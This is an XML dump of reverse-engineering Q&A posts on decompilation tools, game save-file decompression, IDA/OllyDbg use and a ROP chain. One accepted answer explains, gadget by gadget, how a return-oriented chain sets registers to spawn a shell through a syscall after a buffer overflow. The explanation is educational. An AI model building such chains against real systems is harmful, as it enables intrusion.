  <row Id="11838" PostTypeId="1" AcceptedAnswerId="11844" CreationDate="2016-01-24T11:34:17.593" Score="1" ViewCount="467" Body="&lt;p&gt;I recently saw a video of someone doing some rop work. And I have a lot of trouble about what is going on. His setup is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[garbage]&#xA;[xor eax]&#xA;[xor ebx]&#xA;[address of &quot;sh&quot;]&#xA;[pop ecx]&#xA;[address of Null byte]&#xA;[pop edx]&#xA;[address of Null byte]&#xA;[add eax 11]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first instruction is &lt;code&gt;xor eax&lt;/code&gt; (where &lt;code&gt;eip&lt;/code&gt; return is) , and I don't understand where the &lt;code&gt;esp&lt;/code&gt; is when there are the pop instructions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the video : &lt;a href=&quot;https://youtu.be/uYHOxlYzH0A&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/uYHOxlYzH0A&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14818" LastEditorUserId="1485" LastEditDate="2016-01-26T18:08:14.740" LastActivityDate="2016-01-26T18:08:14.740" Title="Trouble understanding this rop chain" Tags="|assembly|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11841" PostTypeId="2" ParentId="11831" CreationDate="2016-01-25T03:57:38.023" Score="1" Body="&lt;p&gt;try reading this book to get some answers:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iOS Hacker's Handbook&#xA;&lt;a href=&quot;http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html&quot; rel=&quot;nofollow&quot;&gt;http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Covers iOS security architecture, vulnerability hunting, exploit writing, and how iOS jailbreaks work&#xA;Explores iOS enterprise and encryption, code signing and memory protection, sandboxing, iPhone fuzzing, exploitation, ROP payloads, and baseband attacks&#xA;Also examines kernel debugging and exploitation&#xA;Companion website includes source code and tools to facilitate your efforts&lt;/p&gt;&#xA;" OwnerUserId="14827" LastActivityDate="2016-01-25T03:57:38.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11844" PostTypeId="2" ParentId="11838" CreationDate="2016-01-25T09:04:00.283" Score="3" Body="&lt;p&gt;The ROP chain uses gadgets, which are short code snippets performing a basic function. The instruction what you see in the Python script in the video are the gadgets names, which were selected in the beginning.&lt;br&gt;&#xA;As an example, the &lt;code&gt;XOREAX&lt;/code&gt; gadget was a code snippet at address &lt;code&gt;0x080512c0&lt;/code&gt;, which contains the following instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, whet the &lt;code&gt;XOREAX&lt;/code&gt; gadget is called, the &lt;code&gt;eax&lt;/code&gt; register is cleared and a &lt;code&gt;ret&lt;/code&gt; instruction is executed. Because the &lt;code&gt;ret&lt;/code&gt; load an address from the stack and jumps to it, this instruction is used to call the next gadget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you see in the Python script is the construction of the payload, which will be placed into the stack. The first address will be the overwritten return address and the next values will be the addresses of the gadgets. In some places in the payload you see &lt;code&gt;SH&lt;/code&gt; and &lt;code&gt;NULL&lt;/code&gt;. It is because the previous gadget load some value from the stack into a register, so the value should be placed into the stack also. The &lt;code&gt;SH&lt;/code&gt; is an address points to the &lt;code&gt;sh&lt;/code&gt; string, while the &lt;code&gt;NULL&lt;/code&gt; is an address points to a &lt;code&gt;0&lt;/code&gt; value in the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the whole ROP chain is only initializes the registers to execute a system call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XOREAX                             -&amp;gt; clears EAX&#xA;POPEBX, SH                         -&amp;gt; moves 'sh' string to EBX&#xA;POPECX, NULL                       -&amp;gt; moves a pointer to a NULL value to ECX&#xA;POPEDX, NULL                       -&amp;gt; moves a pointer to a NULL value to EDX&#xA;ADDEAX3, ADDEAX3, ADDEAX3, ADDEAX2 -&amp;gt; set EAX to 11&#xA;SYSCALL                            -&amp;gt; perform syscall instruction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-01-25T09:04:00.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11845" PostTypeId="1" CreationDate="2016-01-25T11:21:10.257" Score="1" ViewCount="655" Body="&lt;p&gt;I am reversing an ELF executable, and got the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080480ab      b880800408     movl $entry0, %eax          ; eip&#xA;0x080480b0      bb23810408     movl $section_end.LOAD0, %ebx ; section_end.LOAD0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It turned out that &lt;code&gt;entry0&lt;/code&gt; contains the beginning of the &lt;code&gt;.text&lt;/code&gt; section and &lt;code&gt;section_end.LOAD0&lt;/code&gt; the end of it. However, this was not clear for immediately (&lt;code&gt;entry0&lt;/code&gt; is now clear, but I still do not know the origin of name &lt;code&gt;section_end.LOAD0&lt;/code&gt;). Is there a documentation for these names? If not, can I ask &lt;code&gt;radare2&lt;/code&gt; to use memory addresses instead of these names?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="1485" LastEditDate="2016-01-26T18:04:30.797" LastActivityDate="2016-03-26T19:52:09.567" Title="Interpreting variable names in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11846" PostTypeId="1" AcceptedAnswerId="11848" CreationDate="2016-01-25T16:54:54.053" Score="1" ViewCount="81" Body="&lt;p&gt;I'm trying to reverse-engineer the file format of a game's save files. The game is written in Unity, thus .NET, so it was possible to view an approximated code with RedGate Reflector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I know the format is a header, followed by a Deflated stream of map data, which is created with ICSharpZipLib.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header is composed of two strings, prefixed by a byte with their length. The first string is just a format specifier, the second is a version identifier. After those strings, there is a byte denoting if the contents are compressed or not (but that's hardcoded into the game to always compress).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;byte flen&amp;gt; &amp;lt;byte[flen] format&amp;gt; &amp;lt;byte vlen&amp;gt; &amp;lt;byte[vlen] version&amp;gt; &amp;lt;byte compress&amp;gt; &amp;lt;data&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The game reads the file like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;open file for reading, create a &lt;code&gt;BinaryReader&lt;/code&gt; around the stream.&lt;/li&gt;&#xA;&lt;li&gt;read format specifier with &lt;code&gt;ReadString&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;read version with &lt;code&gt;ReadString&lt;/code&gt;  and &lt;code&gt;int.Parse&lt;/code&gt;, warning the player if it's an old save&lt;/li&gt;&#xA;&lt;li&gt;use &lt;code&gt;ReadBoolean&lt;/code&gt; to check if it's a compressed file&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if true, wraps the file stream in a &lt;code&gt;InflaterInputStream&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;read the contents of the file into a string, and pass it to other functions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My trouble is reading the contents, I've written a simple C# program that mimics the game's behaviour, using the exact same library version, but I get a &quot;Unexpected EOF&quot;. Editing the file to remove the non-compressed header and opening it with other command-line inflate utilities also results in that error. The file is guaranteed valid, since the game can open it without problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are two example files. The game in question is called Atmosphir, and can be downloaded &lt;a href=&quot;http://onemoreblock.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!f5QFHJ6T!55LvsPFaaAp7Y-ZS3GbLPHg8Ohh-p-5M0AR_Hb7jd1c&quot; rel=&quot;nofollow&quot;&gt;https://mega.nz/#!f5QFHJ6T!55LvsPFaaAp7Y-ZS3GbLPHg8Ohh-p-5M0AR_Hb7jd1c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!C5xxEapL!ZZ9Tg2kjQetr9KXmfBn5rBc5c5BZ1UUXeqSLJvfJiyQ&quot; rel=&quot;nofollow&quot;&gt;https://mega.nz/#!C5xxEapL!ZZ9Tg2kjQetr9KXmfBn5rBc5c5BZ1UUXeqSLJvfJiyQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14830" LastEditorUserId="14830" LastEditDate="2016-01-25T18:06:04.250" LastActivityDate="2016-01-25T19:34:14.307" Title="Compressed stream unopenable with external tools" Tags="|.net|decompress|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11848" PostTypeId="2" ParentId="11846" CreationDate="2016-01-25T19:34:14.307" Score="2" Body="&lt;p&gt;Perhaps your code tries to read more records than specified in the compressed header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code below works just fine (with &lt;code&gt;\Atmosphir\Atmosphir_Data\Atmosphir_Data\Managed\ICSharpCode.SharpZipLib.dll&lt;/code&gt; as a reference):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System;&#xA;using System.IO;&#xA;using ICSharpCode.SharpZipLib.Zip.Compression.Streams;&#xA;&#xA;namespace Atmo&#xA;{&#xA;    class Program&#xA;    {&#xA;        static void Main(string[] args)&#xA;        {&#xA;            StreamReader sr = new StreamReader(&quot;cc16.atmo&quot;);&#xA;            BinaryReader br = new BinaryReader(sr.BaseStream);&#xA;            Console.WriteLine(&quot;Format: &quot; + br.ReadString());&#xA;            Console.WriteLine(&quot;Version: &quot; + br.ReadString());&#xA;            Console.WriteLine(&quot;Compressed: &quot; + br.ReadBoolean());&#xA;            br = new BinaryReader(new InflaterInputStream(sr.BaseStream));&#xA;            int total = br.ReadInt32();&#xA;            for (int i = 0; i &amp;lt; total; i++)&#xA;            {&#xA;                Console.WriteLine(br.ReadString());&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Format: AtmoMap&#xA;Version: 5&#xA;Compressed: True&#xA;mi_flag_finish&#xA;mi_block_color_white&#xA;mi_wood_sticks&#xA;mi_block_color_green&#xA;mi_block_bricks_1q_cylinder_straight&#xA;mi_block_bricks&#xA;mi_block_bricks_1q_pipe&#xA;mi_ladder_creeper_green&#xA;mi_gravity_area_uniform&#xA;mi_sandcastle_corner&#xA;mi_sandcastle_connection&#xA;mi_condition_trigger&#xA;mi_skybox_realistic&#xA;mi_skybox_adventure&#xA;mi_info_sticker&#xA;mi_condition_count&#xA;mi_skybox_halloween_nightsky&#xA;mi_skybox_afternoon&#xA;mi_condition_area&#xA;mi_bark_slice_platform&#xA;mi_waypoint&#xA;mi_block_color_blue&#xA;mi_block_bricks_white_ledge&#xA;mi_ladder_hanging&#xA;mi_moving_platform_disc&#xA;mi_block_bricks_lightbrown&#xA;mi_block_candy_vanilla_cake&#xA;mi_candy_floor_orange&#xA;mi_sandcastle_tower_top&#xA;mi_sandcastle_tower&#xA;mi_block_bricks_white&#xA;mi_torch&#xA;mi_block_bricks_white_2b_diagonal&#xA;mi_floor_green&#xA;mi_block_monkey&#xA;mi_block_bricks_half&#xA;mi_bridge_hanging&#xA;mi_block_bricks_lightbrown_2b_diagonal&#xA;mi_flag_checkpoint&#xA;mi_muka_boss&#xA;mi_death_skull&#xA;mi_muka_shaman&#xA;mi_muka_axe_warrior&#xA;mi_muka_scout&#xA;mi_muka_crypt_keeper&#xA;mi_candy_gumdrops_yellow&#xA;mi_block_candy_gingerbread_glazed_yellow&#xA;mi_candy_gumdrops_green&#xA;mi_candy_sugartree_red&#xA;mi_candy_sugartree_yellow&#xA;mi_candy_floor_violet&#xA;mi_candy_sugartree_blue&#xA;mi_candy_floor_red&#xA;mi_block_candy_gingerbread&#xA;mi_block_candy_gingerbread_glazed_pink&#xA;mi_candy_gumdrops_red&#xA;mi_candy_floor_blue&#xA;mi_floor_muka&#xA;mi_floor_caved&#xA;mi_muka_sticks&#xA;mi_block_wooden_bark&#xA;mi_torchwall_steel&#xA;mi_totem&#xA;mi_floor_river_grass&#xA;mi_plant&#xA;mi_block_crate&#xA;mi_flag_start&#xA;mi_floor_sand&#xA;mi_gate_skull&#xA;mi_muka_tent_open&#xA;mi_stonehead&#xA;mi_muka_openbox&#xA;mi_block_bricks_stone&#xA;mi_mutation_ammo&#xA;mi_fence_straight&#xA;mi_2d_force_area&#xA;mi_block_monkey_broken&#xA;mi_block_bricks_white_floor&#xA;mi_block_sand&#xA;mi_block_color_black&#xA;mi_block_color_yellow&#xA;mi_block_color_lightbrown&#xA;mi_block_color_lightgreen&#xA;mi_block_color_red&#xA;mi_block_color_purple&#xA;mi_block_candy_gingerbread_sprinkled&#xA;mi_block_magma2&#xA;mi_block_color_brown&#xA;mi_river_water&#xA;mi_stones&#xA;mi_big_flowers&#xA;mi_river_reed&#xA;mi_block_sanddirt&#xA;mi_block_river_earth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-01-25T19:34:14.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11852" PostTypeId="1" CreationDate="2016-01-26T03:06:04.603" Score="2" ViewCount="237" Body="&lt;p&gt;I am trying to reverse engineer some C++ code that was made by &quot;architecture astronaut&quot;, having multiple layers, lots of virtual functions, lots of polymorphism, metaprogramming, inlined stuff, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that generating C++ from machine code is an almost absurd idea, but what I am looking for is a tool to help me organize information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of features that I would appreciate: support navigating through code by vtables (ie: after you manually find all relevant vtables, you point them to the program, and clicking on a code that jumps to member &quot;6&quot; of the vtable jumps to that function, if this is ambiguous due to various vtables being possible, it asks you what vtable you want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy editing of nested structures (example: instead of defining a class as a &lt;code&gt;struct myClass { myBase baseClass; int someInt;};&lt;/code&gt; you can actually see &quot;myBase&quot; contents inside &quot;myClass&quot; and even edit it, without having to edit the separate structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Support for STL names (extremely long names, names with &amp;lt;&gt;: , characters in it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to tag some code as &quot;copy and paste&quot; of another code, at least in a highlight manner, so you can more easily see what is going on (for example for heavily inlined code, templates, metaprogramming abuse, and so on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to organize and compare vtables, suppose you have 1 base vtable that is almost entire pure virtual functions, and 2 vtables that override it later, then you can compare all 3, and know what is what (for example you know what functions are overriding the pure virtual functions, and thus if you have debug symbols or something figure the name of the original pure virtual functions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to merge structs (suppose you find functions of a class all over the code, and create a struct for each one, eventually you find it is the same class)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to give &quot;fake names&quot; to entries on vtable (suppose you know the correct name of a function in a vtable, also the compiler optmized away this function because it was identical to other unrelated function, this way you can use the original name, instead of seeing &lt;code&gt;A::func1(); A::func2(); B::func47(); A::func4();&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14358" LastActivityDate="2016-01-26T03:06:04.603" Title="I need a tool to assist decompiling C++" Tags="|tools|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11854" PostTypeId="2" ParentId="11431" CreationDate="2016-01-26T11:49:31.247" Score="0" Body="&lt;p&gt;For sniffing https calls I use &lt;a href=&quot;https://www.charlesproxy.com/&quot; rel=&quot;nofollow&quot;&gt;Charles proxy&lt;/a&gt;, when you install Charles certifiate on the device you'll be able to sniff whole apk&amp;lt;-&gt;server traffic.&lt;/p&gt;&#xA;" OwnerUserId="14840" LastEditorUserId="53" LastEditDate="2016-01-26T12:27:24.147" LastActivityDate="2016-01-26T12:27:24.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11855" PostTypeId="2" ParentId="11845" CreationDate="2016-01-26T18:06:44.350" Score="2" Body="&lt;p&gt;&lt;code&gt;entry0&lt;/code&gt; is the first entrypoint of your binary, &lt;code&gt;section_end.LOAD0&lt;/code&gt; is likely the end of the first (hence the &lt;code&gt;0&lt;/code&gt;) LOADable section :)&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-01-26T18:06:44.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11857" PostTypeId="1" CreationDate="2016-01-26T22:46:10.903" Score="0" ViewCount="449" Body="&lt;p&gt;I decompiled one dll using Hex-Ray but it decompiled array type input argument of dll to int. Any idea how to handle this ??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double dzSell(int a1, double a2, int a3, int a4, int a5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;int a1 is array type in dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly i can not comment Marware answer so putting it here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so e.g. line like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v9 = *(double *)(a1 + 8 * (v5 - 1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be changed to ???&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v9 = *(double *)(a1[2] * (v5 - 1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and int a1 to double *a1 ??&lt;/p&gt;&#xA;" OwnerUserId="14844" LastEditorUserId="14846" LastEditDate="2016-01-27T08:14:52.860" LastActivityDate="2016-01-29T03:37:10.737" Title="Hex-Rays decompiles array to int" Tags="|decompilation|dll|hexrays|array|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11859" PostTypeId="2" ParentId="9276" CreationDate="2016-01-26T23:41:41.230" Score="6" Body="&lt;p&gt;Put the text cursor somewhere between the &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; and press &lt;strong&gt;+ on the numeric keypad&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14845" LastActivityDate="2016-01-26T23:41:41.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11860" PostTypeId="2" ParentId="11857" CreationDate="2016-01-26T23:47:00.127" Score="0" Body="&lt;p&gt;I recall I couldn't handle this case using Hex-rays, I managed to refactor all occurrences of the pattern like:&#xA;a1 + 0 is the first index - a1[0],&#xA;a1 + 4 is the second - a1[1]&#xA;...and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had some trial and error to distinguish between structs and arrays and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Can't comment.&#xA;This statment meaning depends on the context, what's the value of v5?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;v5 - 1 can be an array operation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;But without code, int a1 in the function declaration is the return value (look at the function bottom you'll probably find a return a1;) it's a double array,&#xA;and v9 is the result of *(double *)(a1[2] * (v5 - 1));&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;*(double *) : is not actually a double pointer, this cast is added by Hex-rays,(according to the above assumption) it merely means the index of the double array resulted from (a1[2] * (v5 - 1));&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Knowing where v5 come from will be the key, but probably it's just declared and not used&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11709" LastEditorUserId="11709" LastEditDate="2016-01-27T18:22:00.857" LastActivityDate="2016-01-27T18:22:00.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11861" PostTypeId="2" ParentId="11794" CreationDate="2016-01-27T03:26:32.803" Score="1" Body="&lt;p&gt;I approached this from the perspective of a boolean logic simplifier: The more values you can trim, the less inputs your checksum function has and the simpler it will be to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a complete solution by any measure, but a few thoughts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Trim the rows with identical values from your dataset. They're just noise.&lt;/li&gt;&#xA;&lt;li&gt;Columns 5, 7, 9, 13, 15, and 17 have the same values for every row, so you can only guess as to how they are factored into the checksum. They therefore do not help with determining how the other values are used.&lt;/li&gt;&#xA;&lt;li&gt;Columns 3, 4, 10, 12, and 14 are not included in the checksum, because there are rows with all other values the same and the same checksum.&lt;/li&gt;&#xA;&lt;li&gt;Columns 1, 6, and 8 are definitely included in the checksum, because there are rows with all other values the same, but have a different checksum.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;TL;DR : Simplify your dataset.&lt;/p&gt;&#xA;" OwnerUserId="13377" LastActivityDate="2016-01-27T03:26:32.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11862" PostTypeId="2" ParentId="11857" CreationDate="2016-01-27T06:30:27.503" Score="1" Body="&lt;p&gt;I'm not sure I understand the problem, but if you want to transform a1 to pointer type just pass cursor on the function prototype, press &lt;kbd&gt;Y&lt;/kbd&gt; and edit the type of the function argument to, for example, &lt;code&gt;int *&lt;/code&gt; or whatever pointer type  you need.&#xA;That's a type of the function you'll get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double dzSell(&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;int* a1&lt;/strong&gt;, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double a2, int a3, int a4, int a5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-01-27T06:30:27.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11863" PostTypeId="2" ParentId="9276" CreationDate="2016-01-27T08:29:15.240" Score="3" Body="&lt;p&gt;Unfortunately I don't have IDA 6.2, but if this version supports IDAPython and corresponding APIs you can try to do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc&#xA;idc.Jump(address)&#xA;idc.ProcessUiAction(&quot;UnHide&quot;, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will move the cursor to the &quot;address&quot; ea and replay user action associated with &quot;UnHide&quot; string, which is &lt;kbd&gt;Ctrl+Numpad+&lt;/kbd&gt;, which does what you requested in IDA 6.8. I think that it should work in IDA 6.2 too. There is a chance good chance that there is some IDAPython API designed specifically for that, but I was unable to find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This definitely works in IDA 6.8.&#xA;Good luck&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-01-27T08:29:15.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11865" PostTypeId="1" CreationDate="2016-01-28T00:00:36.477" Score="1" ViewCount="1687" Body="&lt;p&gt;I'm just learning Olly/IDA and writing simple programs in C and looking at the .EXE code in Ollydbg and IDA.  Below I have a simple printf Hello World program which I compile in Visual Studio 6.  I can see the chain of events starting with things like kernel32.dll calls to get the Windows version number, set up the heap, get the command line, etc.  I recognize the main() function and see string variables being put on the stack and can deduce the function at 00401010 is printf(), confirmed by IDA if I look at the &quot;Names Window&quot; for that address, but Olly doesn't explicitly tell me.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void main(void)&#xA;{&#xA;printf(&quot;blah blah\n&quot;);&#xA;&#xA;return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in Olly here is the assembly for my main() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump          Command                                  Comments&#xA;00401000  /$  68 30604000   PUSH OFFSET 00406030  ; ASCII &quot;blah blah&quot;&#xA;00401005  |.  E8 06000000   CALL 00401010&#xA;0040100A  |.  59            POP ECX&#xA;0040100B  \.  C3            RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So those assembly instructions above is all that correspond to the C code I wrote.  The rest of the .EXE is filled with lots of other code that I'd like to be able to recognized and distinguish the application from LIBC functions like printf().   I know that the compiler will generate OS dependent setup and teardown stuff (like the windows version #, heap, etc), but I figure that after a few programs and learning the PE program standard I should be able to recognize that (plus Olly takes you past that to the application code anyways).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, for example, is what I believe to be the top function for the LIBC printf() function, called by CALL 00401010:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump          Command                                  Comments&#xA;00401010  /$  53            PUSH EBX&#xA;00401011  |.  56            PUSH ESI&#xA;00401012  |.  BE 70604000   MOV ESI,OFFSET 00406070&#xA;00401017  |.  57            PUSH EDI&#xA;00401018  |.  56            PUSH ESI&#xA;00401019  |.  E8 4B010000   CALL 00401169&#xA;0040101E  |.  8BF8          MOV EDI,EAX&#xA;00401020  |.  8D4424 18     LEA EAX,[ARG.2]&#xA;00401024  |.  50            PUSH EAX&#xA;00401025  |.  FF7424 18     PUSH DWORD PTR SS:[ARG.1]&#xA;00401029  |.  56            PUSH ESI&#xA;0040102A  |.  E8 04020000   CALL 00401233&#xA;0040102F  |.  56            PUSH ESI&#xA;00401030  |.  57            PUSH EDI&#xA;00401031  |.  8BD8          MOV EBX,EAX&#xA;00401033  |.  E8 BE010000   CALL 004011F6&#xA;00401038  |.  83C4 18       ADD ESP,18&#xA;0040103B  |.  8BC3          MOV EAX,EBX&#xA;0040103D  |.  5F            POP EDI&#xA;0040103E  |.  5E            POP ESI&#xA;0040103F  |.  5B            POP EBX&#xA;00401040  \.  C3            RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I open my EXE in IDA and look in the &quot;Names Window&quot; I see this code starting at 00401010 as &quot;_printf&quot;, if I double-click on it I see the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hvDf0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hvDf0.png&quot; alt=&quot;IDA view of first level of _printf&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is just the top level, if I follow it down a few levels (following CALL instructions to deeper functions) far enough I find OS functions like KERNEL32.WriteFile() which actually make the string appear in the CMD window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: how can I recognize library functions like printf() and distinguish them from the application code?  It would be nice if they could appear labelled.  I know there are scripts and plugins for Olly but so far (in my early learning) I haven't found how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I only know to take the same EXE into IDA and look at the address in the &quot;Names Window&quot; to see if it's the first level function of a CLIB function.  But then it would take some work to label functions called by this function as also being part of the standard C library, and not the user code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a big deal looking up the address in IDA, but there's still a huge amount of code that is lower level functions that it would be nice if I could know quickly are part of CLIB and not the application code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to guess it's something like building up an Ollydbg .UDD file or downloading a plugin or script.  Sorry if it's obvious in some docs but so far I haven't found it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that said, I can imagine that the linker may change things such that the exact pattern may not exist in memory each time, if some optimization is done.&lt;/p&gt;&#xA;" OwnerUserId="14858" LastActivityDate="2016-01-29T09:20:51.707" Title="Recognizing CLib functions in Ollydbg or IDA" Tags="|ida|ollydbg|c|libc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
